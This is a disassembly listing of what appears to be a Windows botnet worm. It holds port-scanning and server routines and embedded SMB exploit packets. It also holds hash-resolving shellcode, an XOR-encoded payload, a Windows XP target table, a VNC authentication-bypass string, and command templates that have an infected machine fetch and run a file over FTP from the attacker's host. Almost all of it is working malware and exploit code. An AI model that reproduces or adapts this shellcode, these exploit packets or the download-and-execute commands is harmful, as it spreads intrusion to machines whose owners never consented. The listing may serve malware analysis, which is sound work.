aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431910	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431930	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_43194C	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_431980	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_4319B8	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_4319E8	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431A1C	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_431A50	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A84	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431AAC	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AE4	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431B24	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B5C	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B90	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431BC4	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_40CADA+B2o
		align 4
dword_431C78	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C80	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C84	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C8C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431D14	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D44	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D50	db  81h	; │		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D9C	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431DE0	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431EDC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EF2
		mov	[esi+8], eax
		call	sub_431EA5
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EF2
		mov	[esi+0Ch], eax
		call	sub_431E57
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EF2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E57	proc near		; CODE XREF: sub_431DE0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E80
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E57	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E80	proc near		; CODE XREF: sub_431E57+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_431E8F:				; CODE XREF: sub_431E80+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E9C
		inc	ebx
		jmp	short loc_431E8F
; ---------------------------------------------------------------------------

loc_431E9C:				; CODE XREF: sub_431E80+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E80	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431EA5	proc near		; CODE XREF: sub_431DE0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_431EBD:				; CODE XREF: sub_431EA5+1Ej
		cmp	[ecx], ebx
		jz	short loc_431EC5
		mov	ecx, [ecx]
		jmp	short loc_431EBD
; ---------------------------------------------------------------------------

loc_431EC5:				; CODE XREF: sub_431EA5+1Aj
		mov	edx, edi

loc_431EC7:				; CODE XREF: sub_431EA5+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431ED1
		mov	edx, [edx+4]
		jmp	short loc_431EC7
; ---------------------------------------------------------------------------

loc_431ED1:				; CODE XREF: sub_431EA5+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431EA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EDC	proc near		; CODE XREF: sub_431DE0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431EDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EF2	proc near		; CODE XREF: sub_431DE0+16p
					; sub_431DE0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_431F08:				; CODE XREF: sub_431EF2+33j
		jecxz	short loc_431F42
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_431F15:				; CODE XREF: sub_431EF2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431F21
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431F15
; ---------------------------------------------------------------------------

loc_431F21:				; CODE XREF: sub_431EF2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431F08
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_431F42:				; CODE XREF: sub_431EF2:loc_431F08j
					; sub_431EF2:loc_431F42j
		jmp	short loc_431F42
sub_431EF2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_431F48	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F9A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_431F65:				; CODE XREF: sub_431F48+38j
		jecxz	short loc_431F95
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_431F70:				; CODE XREF: sub_431F48+32j
		lodsb
		test	al, al
		jz	short loc_431F7C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F70
; ---------------------------------------------------------------------------

loc_431F7C:				; CODE XREF: sub_431F48+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F65
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_431F95:				; CODE XREF: sub_431F48:loc_431F65j
		mov	[esp+arg_0], ebx
		retn
sub_431F48	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F9A	proc near		; CODE XREF: sub_431F48+7p

; FUNCTION CHUNK AT 00431FD2 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431FB3
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431FBE
; ---------------------------------------------------------------------------

loc_431FB3:				; CODE XREF: sub_431F9A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_431FBE:				; CODE XREF: sub_431F9A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431FD2
sub_431F9A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431FC5	proc near		; CODE XREF: sub_431F9A:loc_431FD2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431FC5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F9A

loc_431FD2:				; CODE XREF: sub_431F9A+29j
		call	sub_431FC5

loc_431FD7:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F9A
; ---------------------------------------------------------------------------
		dw 0
dword_431FDC	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FE8	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FEC	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FF0	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4

loc_431FFC:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_432004
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_432004	dd 0			; CODE XREF: ___:loc_431FFCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432070	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------

loc_43207C:				; CODE XREF: ___:00432086j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43207C
		inc	edi
		jz	short loc_4320C3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320EB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_4320C3:				; CODE XREF: ___:00432089j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_432122+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_4320E8:				; CODE XREF: ___:00432115j
		xor	[esi-25h], bl

loc_4320EB:				; CODE XREF: ___:00432091j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_432104:				; CODE XREF: ___:00432137j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320E8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_432122:				; CODE XREF: ___:004320C9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_4321AE
		jo	short loc_432104
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_432145+1
		add	bl, [edi]

loc_432145:				; CODE XREF: ___:00432141j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43215A+2
		cmp	ch, bh
		dec	edx

loc_43215A:				; CODE XREF: ___:00432155j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_4321AE:				; CODE XREF: ___:00432135j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_432234
		sub	al, 0BCh
		jmp	near ptr 544525A2h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_4321D0	dd 0EFFFC481h, 44FFFFh,	43221Ch	; DATA XREF: ___:0040DC32o
dword_4321DC	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321E0	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321E4	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321E8	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_432200	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321ECo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_432234:				; CODE XREF: ___:004321B8j
		push	eax
		xor	al, 29h

loc_432237:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_432240	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_432254	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322FC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 10h
word_433540	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_433544	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437CA8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437CB4o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_43382C	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433854	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
